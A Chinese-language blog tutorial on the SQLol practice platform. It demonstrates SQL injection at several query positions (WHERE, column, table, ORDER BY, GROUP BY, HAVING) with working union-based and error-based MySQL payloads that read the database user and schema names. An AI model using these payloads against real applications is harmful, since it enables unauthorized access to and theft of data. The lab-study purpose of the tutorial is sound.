SQL注入测试平台 SQLol-2.SELECT注入测试

本文深入解析SQL注入攻击的各种技巧,包括联合查询、报错注入及盲注等方法,通过实例展示了如何在不同注入位置实施攻击,如WHERE子句、ORDER BY子句等,对信息安全防护具有重要参考价值。



  完整Select语句

SELECT 【username】 FROM 【users】 WHERE username ='1'GROUP BY 【username】 ORDER BY 【username】 ASC [having1=1][limit0,1]


  接收的参数可能拼接到上述语句中【】的任一个位置。
  注入位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。

  • 联合查询(union select)
  • 报错注入
  • 盲注(布尔类型、时间延迟类型)


  有的注入点可以同时使用多种方法注入,这里只演示一种。
  下面演示注入到不同位置的方法。

1. WHERE 子句里的字符串


  Tips:字符型注入;
  在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:

SELECT username FROM users WHERE username = '【admin】' GROUP BY username ORDER BY username ASC


  构造POC:

admin' union select user()#


  如下:

SELECT username FROM users WHERE username = '【admin' union select user()#】' GROUP BY username ORDER BY username ASC


  如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。

在这里插入图片描述

2. WHERE 子句里的数字


  Tips:与上面的WHERE 子句里的字符串类似,所不同的这是数字型注入;
  在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:

SELECT username FROM users WHERE isadmin =1GROUP BY username ORDER BY username ASC


  构造POC:

1 union select user()#


  如下:

 SELECT username FROM users WHERE isadmin =1 union select user()#】 GROUP BY username ORDER BY username ASC


  如下图,我们取得数据库用户名。

在这里插入图片描述

3. 整个语句


  Tips: 直接可以执行任何sql语句;
  在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:

select * from users


  构造POC:

select * from users


  可以在这里输入任何的sql语句执行。

在这里插入图片描述

4. Column 名称


  Tips: 注入位置在username;

SELECT 【username】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC


  利用方式:
   1、输入字段查询users表,或直接用*代替,查询users表中所有的数据。
   构造POC:

SELECT*FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC


  2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成。
  构造POC:

SELECT 【version()#】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC


  替换version(),输入其他数据库查询语句,可查询其他数据。

在这里插入图片描述

5. Table 名称


  Tips:注射位置在表users;

SELECT username FROM 【users】 WHERE isadmin = 0 GROUP BY username ORDER BY username ASC


  利用方式: 输入正确的表名,union select查询。
  构造POC:

SELECT username FROM 【users union select user()#】 WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

在这里插入图片描述

6. ORDER BY 子句


  Tips:注射位置在order by;

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 【username】 ASC


  当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union select。
  利用方式:报错注入。

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#


  构造POC:

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY <font color="red">1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# ASC


  得到数据库sqlol,可以使用其他语句继续报错注入。 
  参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

在这里插入图片描述

7. GROUP BY 子句


  Tips:注射位置在group by;
  GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
  利用方式:
  1、与order by 一样,直接报错注入。
  2、在Mssql中,可以利用group by , having 进行爆当前列。

在这里插入图片描述

8. HAVING 子句


  Tips:having位置;
  利用方式:报错注入。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值